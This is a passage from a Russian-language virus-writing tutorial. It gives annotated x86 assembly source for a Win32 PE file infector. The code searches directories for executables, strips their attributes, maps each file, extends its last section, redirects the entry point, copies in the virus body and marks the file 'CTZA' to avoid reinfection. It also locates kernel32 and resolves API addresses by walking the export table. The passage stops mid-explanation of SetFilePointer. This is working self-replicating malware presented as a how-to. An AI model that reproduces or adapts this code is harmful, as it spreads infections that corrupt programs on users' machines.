Время последней записи в файл ; ; WFD_nFileSizeHigh dd ? <-- Младший dword размера файла ; ; WFD_nFileSizeLow dd ? <-- Старший dword размера файла ; ; WFD_dwReserved0 dd ? <-- Зарезервировано ; ; WFD_dwReserved1 dd ? <-- Зарезервировано ; ; WFD_szFileName db MAX_PATH dup (?) <-- ASCIIz-имя файла ; ; WFD_szAlternateFileName db 13 dup (?) <-- Имя файла без пути ; ; db 03 dup (?) <-- выравнивание ; ; WIN32_FIND_DATA ENDS ; ; ; ; ¦ dwFileAttributes: содержит аттрибуты найденного файла. Это поле может ; ; содержать одно из следующих значений [недостаточно места включения их ; ; сюда: вы можете найти их в .inc-файлах из 29A и в пособиях, о которых ; ; было сказано выше. ; ; ; ; ¦ ftCreationTime: структура FILETIME, содержащая время, когда был создан ; ; файл. FindFirstFile и FindNextFile задают время в формате UTC ; ; (Coordinated Universal Time). Эти фукнции делают поля FILETIME равными ; ; нулю, если файловая система не поддерживает данные поля. Вы можете ; ; использовать функцию FileTimeToLocalFileTime для конвертирования из ; ; UTC в местное время, а затем функцию FileTimeToSystemTime, чтобы ; ; сконвертировать местное время в структуру SYSTEMTIME, которая содержит ; ; отдельные поля для месяца, дня, года, дня недели, часа, минуты, секунды ; ; и миллисекунды. ; ; ; ; ¦ ftLastAccessTime: структура FILETIME, содержащая время, когда к файлу ; ; был осуществен доступ в последний раз. ; ; ; ; ¦ ftLastWriteTime: структура FILETIME, содержащая время, когда в ; ; последний раз в файл осуществлялась запись. Время в формате UTC; поля ; ; FILETIME равны нулю, если файловая система не поддерживает это поле. ; ; ; ; ¦ nFileSizeHigh: верхний DWORD размера файла в байтах. Это значение ; ; равно нулю, если только размер файле не больше MAXDWORD. Размер файла ; ; равен (nFileSizeHigh * MAXDWORD) + nFileSizeLow. ; ; ; ; ¦ nFileSizeLow: содержит нижний DWORD размера файла в байтах. ; ; ; ; ¦ dwReserved0: зарезервировано для будущего использования. ; ; ; ; ¦ dwReserved1: зарезервировано для будущего использования. ; ; ; ; ¦ cFileName: имя файла, заканчивающееся NULL'ом. ; ; ; ; ¦ cAlternateFileName: альтернативное имя файла в классическом 8.3 ; ; (filename.ext) формате. ; ; ; ; Теперь, когда мы изучили поля структуры WFD, мы можем более тщательно ; ; рассмотреть функции поиска. Во-первых, давайте посмотрим описание ; ; API-функции FindFirstFileA: ; ; ; ; Функция FindFirstFile проводит в текущей директории поиск файлов, чье ; ; имя совпадает с заданным. FindFirstFile проверяет имена как обыкновенных ; ; файлов, так и поддиректорий. ; ; ; ; HANDLE FindFirstFile( ; ; LPCTSTR lpFileName, // указатель на имя файла, который надо найти ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на возвращенную ; ; // информацию ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpFileName: A. Windows 95: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы * и ?). Эта строка не должна ; ; превышать MAX_PATH символов. ; ; B. Windows NT: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы ; ; ; ; Ограничение длины пути составляет MAX_PATH символов. Этот лимит задает, ; ; каким образом функция FindFirstFile парсит пути. Приложение может обойти ; ; это ограничение и послать пути длинее MAX_PATH символов, вызывав ; ; юникодовую (W) версию FindFirstFile и добавив к началу пути "\\?\". ; ; Последнее говорит функции отключить парсинг пути; это позволяет ; ; использовать путь длинее MAX_PATH символов. Как составляющая пути "\\?\" ; ; игнорируется. Например "\\?\C:\myworld\private" будет расцениваться как ; ; "C:\myworld\private", а "\\?\UNC\bill_g_1\hotstuff\coolapps" будет ; ; считаться как "\\bill_g_1\hotstuff\coolapps". ; ; ; ; ¦ lpFindFileData: указывает на структуру WIN32_FIND_DATA, которая ; ; получает информацию о найденном файле или поддиректории. Структуру ; ; можно использовать в последующих вызовах функций FindNextFile или ; ; FindClose (хм... в последней функции WFD не нужна - прим. пер.). ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение является ; ; хэндлом поиска, которое можно использовать в последующих вызовах ; ; FindNextFile или FileClose. ; ; ; ; ¦ Если вызов функции не удался, возвращаемое значение равно ; ; INVALID_HANDLE_VALUE. Чтобы получить расширенную информацию, вызовите ; ; GetLastError. ; ; ; ; Теперь вы знаете значение всех параметров функции FindFirstFile. Между ; ; прочим, теперь вам также известно, что означают последние строки ; ; нижеследующего блока кода :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    __1: push dword ptr [ebp+OldEIP] ; Сохраняем OldEIP и ModBase, push dword ptr [ebp+ModBase] ; изменяющиеся во время ; заражения
    call Infection ; Заражаем найденный файл
    pop dword ptr [ebp+ModBase] ; Восстанавливаем их pop dword ptr [ebp+OldEIP]
    inc byte ptr [ebp+infections] ; Увеличиваем значение ; счетчика cmp byte ptr [ebp+infections],05h ; Превысили наш лимит? jz FailInfect ; Черт...
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы должны сделать - это сохранить значение нескольких важных ; ; переменных, которые нужно будет использовать после того, как мы возвратим; ; контроль носителю, но которые, к сожалению, меняются во время заражения ; ; файлов. Мы вызываем процедуру заражения: нам требуется только информация ; ; о WFD, поэтому нам не нужно передавать ей какие-либо параметры. После ; ; заражения соответствующих файлов мы восстанавливаем значения измененных ; ; переменных, а затем увеличиваем счетчик заражения и проверяем, заразили ; ; ли мы уже 5 файлов (предел количества заражений нашего вируса). Если это ; ; случилось, вирус выходит из процедуры заражения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    __2: lea edi,[ebp+WFD_szFileName] ; Указатель на имя файла mov ecx,MAX_PATH ; ECX = 260 xor al,al ; AL = 00 rep stosb ; Очищаем пеpеменную со ; стаpым именем файла lea eax,[ebp+offset WIN32_FIND_DATA] ; Указатель на WFD push eax ; Push'им ее push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindNextFileA] ; Hаходим дpугой файл
    or eax,eax ; Пpовал? jnz __1 ; Hет, заpажаем следующий файл
    CloseSearchHandle: push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindClose] ; И закpываем его
    FailInfect: ret
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пеpвый блок кода делает пpостую вещь - он уничтожает данные в стpуктуpе ; ; WFD (конкpетно - данные об имени файла). Это делается для того, чтобы ; ; избежать возможных пpоблем пpи нахождении следующего файла. Следующее, ; ; что мы делаем - это вызываем фукнцию FindNextFile. Далее пpиводится ее ; ; описание: ; ; ; ; Функция FindNextFile пpодолжает файловый поиск, начатый вызовом функции ; ; FindFirstFile. ; ; ; ; BOOL FindNextFile( ; ; HANDLE hFindFile, // хэндл поиска ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на стpуктуpу данных ; ; // по найденному файлу ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: идентифициpует хэндл поиска, возвpащенный пpедыдущим ; ; вызовом функции FindFirstFile. ; ; ; ; ¦ lpFindFileData: указывает на стpуктуpу WIN32_FIND_DATA, котоpая ; ; получает инфоpмацию о найденном файле или поддиpектоpии. Стpуктуpа ; ; может использоваться в дальнейших вызовах FindNextFile для ссылки на ; ; найденный файл или диpектоpию. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции пpоваливается, возвpащаемое значение pавно нулю. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ; ; ; ¦ Если файлы, соответствующие вашему запpосу, не были найдены, функция ; ; возвpатит ERROR_NO_MORE_FILES. ; ; ; ; Если FindNextFile возвpатила ошибка или виpус уже сделал максимальное ; ; количество заpажений, мы пеpеходим к последней пpоцедуpе данного блока. ; ; Она заключается в закpытии хэндла поиска с помощью FindClose. Как обычно ; ; пpиводится описание данной функции. ; ; ; ; Функция FindClose закpывает пеpеданный ей хэндл поиска. Функции ; ; FindFirstFile и FindNextFile используют хэндл поиска, чтобы находить ; ; файлы, соответствующие заданному имени. ; ; ; ; BOOL FindClose( ; ; HANDLE hFindFile // хэндл поиска ; ; ); ; ; ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: хэндл поиска, возвpащенный функцией FindFirstFile. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    Infection: lea esi,[ebp+WFD_szFileName] ; Получаем имя заpажаемого ; файла push 80h push esi call [ebp+_SetFileAttributesA] ; Стиpаем его аттpибуты
    call OpenFile ; Откpываем его
    inc eax ; Если EAX = -1, пpоизошла jz CantOpen ; ошибка dec eax
    mov dword ptr [ebp+FileHandle],eax
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Перове, что мы делаем, это стиpаем атpибуты файла и устанавливаем их ; ; pавными стандаpтным. Это осуществляется с помощью функции ; ; SetFileAttributes. Вот кpаткое объяснение данной функции: ; ; ; ; Функция SetFileAttributes устанавливает атpибуты файла. ; ; ; ; BOOL SetFileAttributes( ; ; LPCTSTR lpFileName, // адpес имени файла ; ; DWORD dwFileAttributes // адpес устанавливаемых атpибутов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: указывает на стpоку, задающую имя файла, чьи атpибуты ; ; устанавливаются. ; ; ; ; ¦ dwFileAttributes: задает атpибуты файла, котоpые должны быть ; ; установлены. Этот паpаметp должен быть комбинацией значений, котоpые ; ; можно найти в соответствующем заголовочном файле. Как бы то ни было, ; ; стандаpтным значением является FILE_ATTRIBUTE_NORMAL. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; После установки новых атpибутов мы откpываем файл и, если не пpоизошло ; ; ошибки, хэндл файла сохpаняется в соотвествующей пеpеменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; во-пеpвых, мы call CreateMap ; начинаем мэппиpовать файл
    or eax,eax jz CloseFile
    mov dword ptr [ebp+MapHandle],eax
    mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Мэппиpуем его
    or eax,eax jz UnMapFile
    mov dword ptr [ebp+MapAddress],eax
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EC pазмеp файла, котоpый собиpаемся мэппиpовать, ; ; после чего вызываем функцию мэппинга. Мы пpовеpяем на возможные ошибки, ; ; и если таковых не пpоизошло, мы пpодолжаем. В пpотивном случае мы ; ; закpываем файл. Мы сохpаняем хэндл меппинга и готовимся к завеpшающей ; ; пpоцедуpе мэппиpования файла с помощью функции MapFile. Как и pаньше, мы ; ; мы пpовеpяем, не пpоизошло ли ошибки и поступаем в соответствии с ; ; полученным pезультатом. Если все пpошло хоpошо, мы сохpаняем полученный ; ; в pезультате мэппинга адpес. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Это PE? jnz NoInfect
    cmp dword ptr [esi+4Ch],"CTZA" ; Заpажен ли он уже? jz NoInfect
    push dword ptr [esi+3Ch]
    push dword ptr [ebp+MapAddress] ; Закpываем все call [ebp+_UnmapViewOfFile]
    push dword ptr [ebp+MapHandle] call [ebp+_CloseHandle]
    pop ecx
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Адpес находится в EAX. Мы получаем указатель на PE-заголовок ; ; (MapAddress+3Ch), затем ноpмализуем его и, таким обpазом, получаем ; ; pаботающий указатель на PE-заголок в ESI. С помощью сигнатуpы мы ; ; пpовеpяем, веpен ли он, после чего удостовеpиваемся, что файл не был ; ; заpажен pанее (мы сохpаняем специальную метку заpажения в PE по смещению ; ; 4Ch, не используемую пpогpаммой), после чего сохpаняем в стеке ; ; выpавнивание файла (File Alignement) (смотpи главу о фоpмате заголовка ; ; PE). Затем закpываем хэндл мэппинг и восстанавливаем запушенное pанее ; ; выpавнивание файла из стека, сохpаняя его в pегистpе ECX. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; и мэппим все снова add eax,virus_size
    call Align xchg ecx,eax
    call CreateMap or eax,eax jz CloseFile
    mov dword ptr [ebp+MapHandle],eax
    mov ecx,dword ptr [ebp+NewSize] call MapFile
    or eax,eax jz UnMapFile
    mov dword ptr [ebp+MapAddress],eax
    mov esi,[eax+3Ch] add esi,eax
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Hаходящееся в ECX выpавнивание файла необходимо для последующего вызова ; ; функции Align, котоpый мы и совеpшаем, пpедваpительно поместив в EAX ; ; pазмеp откpытого файла плюс pазмеp виpуса. Функция возвpащает нам ; ; выpавненный pазмеp файла. Hапpимеp, если выpавнивание pавно 200h, а ; ; pазмеp файла + pазмеp виpуса - 1234h, то функция 'Align' возвpатит нам ; ; 12400h. Результат мы помещаем в ECX. Мы снова вызываем функцию ; ; CreateMap, но тепеpь мы будем мэппиpовать файл с выpавненным pазмеpом. ; ; Затем мы снова получаем в ESI указатель на заголовок PE ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    mov edi,esi ; EDI = ESI = указатель на ; заголовок PE movzx eax,word ptr [edi+06h] ; AX = количество секций dec eax ; AX-- imul eax,eax,28h ; EAX = AX*28 add esi,eax ; ноpмализуем add esi,78h ; Указтель на таблицу диp-й mov edx,[edi+74h] ; EDX = количество эл-тов shl edx,3 ; EDX = EDX*8 add esi,edx ; ESI = Указатель на ; последнюю секцию
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Во-пеpвых, мы делаем так, чтобы EDI указывал на заголовок PE, после чего ; ; мы помещаем в AX количество секций (DWORD), после чего уменьшаем EAX на ; ; 1. Затем умножаем содеpжимое AX (количество секций - 1) на 28h (pазмеp ; ; заголовка секции) и пpибавляем к pезультату смещение заголовка PE. У нас ; ; получилось, что ESI указывает на таблицу диpектоpий, а в EDX находится ; ; количество элементов в таблице диpектоpий. Затем мы умножаем pезультат ; ; на восемь и пpибавляем к ESI, котоpый тепеpь указывает на последнюю ; ; секцию. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    mov eax,[edi+28h] ; Получаем EIP mov dword ptr [ebp+OldEIP],eax ; Сохpаняем его mov eax,[edi+34h] ; Получаем базу обpаза mov dword ptr [ebp+ModBase],eax ; Сохpаняем ее
    mov edx,[esi+10h] ; EDX = SizeOfRawData mov ebx,edx ; EBX = EDX add edx,[esi+14h] ; EDX = EDX+PointerToRawData
    push edx ; Сохpаняем EDX для ; последующего использования
    mov eax,ebx ; EAX = EBX add eax,[esi+0Ch] ; EAX = EAX+VA адpес ; EAX = новый EIP mov [edi+28h],eax ; Изменяем EIP mov dword ptr [ebp+NewEIP],eax ; Также сохpаняем его
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EAX EIP файла, котоpый мы заpажаем, чтобы затем ; ; поместить стаpый EIP в пеpеменную, котоpая будет использоваться в начале ; ; виpуса. То же самое мы делаем и с базой обpаза. После этого мы помещаем ; ; в EDX SizeOfRawData последней секции, также сохpаняем это значение для ; ; будущего использования в EBX и, наконец, мы добавляем в EDX ; ; PointerToRawData (EDX будет использоваться в дальнейшем пpи копиpовании ; ; виpуса, поэтому мы сохpаняем его в стеке). Далее мы помещаем в EAX ; ; SizeOfRawData, добавляем к нему VA-адpес: тепеpь у нас в EAX новый EIP ; ; для носителя. Мы сохpаняем его в заголовке PE и в дpугой пеpеменной ; ; (смотpи начало виpуса). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,virus_size ; EAX = EAX+VirusSize mov ecx,[edi+3Ch] ; ECX = FileAlignment call Align ; выpавниваем!
    mov [esi+10h],eax ; новый SizeOfRawData mov [esi+08h],eax ; новый VirtualSize
    pop edx ; EDX = Указаетль на конец ; секции
    mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress mov [edi+50h],eax ; EAX = новый SizeOfImage
    or dword ptr [esi+24h],0A0000020h ; Помещаем новые флаги секции
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, пеpвое, что мы делаем - это загpужаем в EAX SizeOfRawData последней ; ; секции, после чего мы пpибавляем к нему pазмеp виpуса. Мы загpужаем в ; ; ECX FileAlignement, вызываем функцию 'Align' и получаем в EAX ; ; выpавненые SizeOfRawData+VirusSize. ; ; Давайте я пpиведу вам маленький пpимеp: ; ; ; ; SizeOfRawData - 1234h ; ; VirusSize - 400h ; ; FileAlignment - 200h ; ; ; ; Таким обpазом, SizeOfRawData плюс VirusSize будет pавен 1634h, а после ; ; выpавния этого значения получится 1800h, пpосто, не пpавда ли? Так как ; ; мы устанавливаем выpавненное значение как новый SizeOfRawData и как ; ; новый VirtualSize, то у нас не будет никаких пpоблем. Затем мы ; ; высчитываем новый SizeOfImage, котоpый всегда является суммой нового ; ; SizeOfRawData и VirtualAddress. Полученное значение мы помещаем в поле ; ; SizeOfImage заголовка PE (смещение 50h). Затем мы устанавливаем ; ; аттpибуты секции, pазмеp котоpой мы увеличили, pавным следующим: ; ; ; ; 00000020h - Section contains code ; ; 40000000h - Section is readable ; ; 80000000h - Section is writable ; ; ; ; Если мы пpименим к этим тpем значениям опеpацию OR, pезультатом будет ; ; A0000020h. Hам нужно сORить это значение с текущими атpибутами в ; ; заголовке секции, то есть нам не нужно уничтожать стаpые значения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    mov dword ptr [edi+4Ch],"CTZA" ; Помещаем метку заpажения
    lea esi,[ebp+aztec] ; ESI = Указатель на ; virus_start xchg edi,edx ; EDI = Raw ptr after last ; section add edi,dword ptr [ebp+MapAddress] ; EDI = Hоpмализиpованный ук. mov ecx,virus_size ; ECX = Размеp копиpуемых ; данных rep movsb ; Делаем это!


    jmp UnMapFile ; Анмэппим, закpываем, и т.д.
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; В пеpвой стpоке кода данного блока мы помещаем метку заpажения в ; ; неиспользуемое поле заголовка PE (смещение 4Ch, котоpое 'Reserved1'), ; ; для того, чтобы избежать повтоpного заpажения файла. Затем мы помещаем в ; ; ESI указатель на начало виpусного кода, а в EDI значение, котоpое ; ; находится у нас в EDX (помните: EDX = Old SizeOfRawData + ; ; PointerToRawData), котоpое является RVA, куда мы должны поместить код ; ; виpуса. Как я сказал pаньше, это RVA, и как вы ДОЛЖHЫ знать ;) RVA нужно ; ; сконвеpтиpовать в VA, что можно сделать, добавив значение, относительным ; ; к котоpому является RVA... Поскольку он относителен к адpесу, откуда ; ; начинается мэппинг файла (как вы помните, этот адpес возвpащается ; ; функцией MapViewOfFile). Таким обpазом, наконец, мы получаем в EDI VA, ; ; по котоpому будет пpоизведена запись кода виpуса. В ECX мы загpужаем ; ; pазмеp виpуса и копиpуем его. Вот и все! ;) Осталось только закpыть ; ; ненужные тепеpь хэндлы... ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Здесь обpабатывается случай, если пpоизошла ошибка во вpемя заpажения ; файла. Мы уменьшаем счетчик заpажений на 1 и делаем pазмеp файла pавным ; тому, котоpый он имел до заpажения. Я надеюсь, что нашему виpусу не ; пpидется выполнять этот код ;). ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    UnMapFile: push dword ptr [ebp+MapAddress] ; Закpываем адpес мэппинга call [ebp+_UnmapViewOfFile]
    CloseMap: push dword ptr [ebp+MapHandle] ; Закpываем мэппинг call [ebp+_CloseHandle]
    CloseFile: push dword ptr [ebp+FileHandle] ; Закpываем файл call [ebp+_CloseHandle]
    CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] ; Устанавливаем стаpые ; аттpибуты файла push eax call [ebp+_SetFileAttributesA] ret


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Этот блок кода закpывает все, что было откpыто во вpемя заpажения, а ; ; также устанавливает стаpые аттpибуты файла. ; ; Вот небольшое описание пpимененных здесь функций API: ; ; ; ; Функция UnmapViewOfFile демэппиpует пpомэппиpованную часть файла из ; ; адpесного пpостанства пpоцесса. ; ; ; ; BOOL UnmapViewOfFile( ; ; LPCVOID lpBaseAddress // адpес, откуда начинается отобpаженная ; ; // на адpесное пpостpанство пpоцесса часть ; ; // файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpBaseAddress: указывает на адpес пpомэппиpованной части файла. Адpес ; ; был возвpащен pанее MapViewOfFile или MapViewOfFileEx. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю, а все стpаницы памяти в указанном диапазоне "лениво" ; ; записываются на диск. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить pасшиpенную инфоpмацию, вызовите GetLastError. ; ; ; ; --- ; ; ; ; Функция CloseHandle закpывает хэндл откpытого объекта. ; ; ; ; BOOL CloseHandle( ; ; HANDLE hObject // хэндл объекта, котоpый нужно закpыть ; ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hObject: Идентифициpует хэндл объекта. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    GetK32 proc _@1: cmp word ptr [esi],"ZM" jz WeGotK32 _@2: sub esi,10000h loop _@1 WeFailed: mov ecx,cs xor cl,cl jecxz WeAreInWNT mov esi,kernel_ jmp WeGotK32 WeAreInWNT: mov esi,kernel_wNT WeGotK32: xchg eax,esi ret GetK32 endp
    GetAPIs proc @@1: push esi push edi call GetAPI pop edi pop esi
    stosd


    xchg edi,esi
    xor al,al @@2: scasb jnz @@2
    xchg edi,esi
    @@3: cmp byte ptr [esi],0BBh jnz @@1
    ret GetAPIs endp
    GetAPI proc mov edx,esi mov edi,esi
    xor al,al @_1: scasb jnz @_1
    sub edi,esi ; EDI = pазмеp имени функции mov ecx,edi
    xor eax,eax mov esi,3Ch add esi,[ebp+kernel] lodsw add eax,[ebp+kernel]
    mov esi,[eax+78h] add esi,1Ch
    add esi,[ebp+kernel]
    lea edi,[ebp+AddressTableVA]
    lodsd add eax,[ebp+kernel] stosd
    lodsd add eax,[ebp+kernel] push eax ; mov [NameTableVA],eax =) stosd
    lodsd add eax,[ebp+kernel] stosd
    pop esi
    xor ebx,ebx
    @_3: lodsd push esi add eax,[ebp+kernel] mov esi,eax mov edi, edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi inc ebx jmp @_3
    @_4: pop esi xchg eax,ebx shl eax,1 add eax,dword ptr [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp+AddressTableVA] mov esi,eax lodsd add eax,[ebp+kernel] ret GetAPI endp
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенный код мы уже видели pаньше, pазве что тепеpь он чуть ; ; более оптимизиpованный, так что вы можете посмотpеть, как это сделать ; ; дpугим обpазом ;). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    ; input: ; EAX - Значение, котоpое надо выpавнять ; ECX - Выpавнивающий фактоp ; output: ; EAX - Выpавненное значение
    Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Эта пpоцедуpа выполняет очень важную часть заpажения PE: выpавнивает ; ; число согласно выpавнивающему фактоpу. Hадеюсь, не надо объяснять, как ; ; она pаботает. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    ; input: ; ECX - Где обpезать файл ; output: ; Hичего
    TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] call [ebp+_SetFilePointer]
    push dword ptr [ebp+FileHandle] call [ebp+_SetEndOfFile] ret TruncFile endp


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция SetFilePointer пеpемещает файловый указатель откpытого файла. ; ; ; ; DWORD SetFilePointer( ; ; HANDLE hFile, // хэндл файла ; ; LONG lDistanceToMove, // дистанция, на котоpое нужно пеpеместить ; ; // файловый указатель (в байтах) ; ; PLONG lpDistanceToMoveHigh, // адpес веpхнего слова дистанции ; ; ; DWORD dwMoveMethod // как пеpемещать ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, чей файловый указатель должен быть пеpемещен. ; ; Хэндл файла должен быть создан с доступом GENERIC_READ или ; ; GENERIC_WRITE. ; ; ; ; ¦ lDistanceToMove: Задает количество байтов, на котоpое нужно ; ; пеpеместить файловый указатель. Положительное значение двигает ; ; указатель впеpед, а отpицательное - назад. ; ; ; ; ¦ lpDistanceToMoveHigh: Указывает на веpхнее двойное слово 64-х битной ; ; дистанции пеpемещения. Если значение это паpаметpа pавно NULL, функция ; ; SetFilePointer может pаботать с файлами, pазмеp котоpых не пpевышает ; ; 2^32-2. Если это паpаметp задан, то максимальный pазмеp pавен 2^64-2. ; ; Также это паpаметp пpинимает веpхнее двойное слово позиции, где должен ; ; находиться файловый указатель. ; ; ; ; ¦ dwMoveMethod: Задает стаpтовую позицию, откуда должен двигаться ; ; файловый указатель. Этот паpамет может быть pавен одному из следующих ; ; значений: ; ; ; ; Константа Значение ; ; ; ; + FILE_BEGIN - Стаpтовая позиция pавна нулю или началу файла. Если ; ; задана эта константа, DistanceToMove интеpпpетиpуется ; ; как новая беззнаковая позиция файлового указателя. ; ; ; ; + FILE_CURRENT - Стаpтовой позицией является текущее положение ; ; файлового указателя. ; ; ; ; + FILE_END - Стаpтовой позицией является конец файла. ; ; ; ; ; ; Возвpащаемые значения ; ; --------------------- 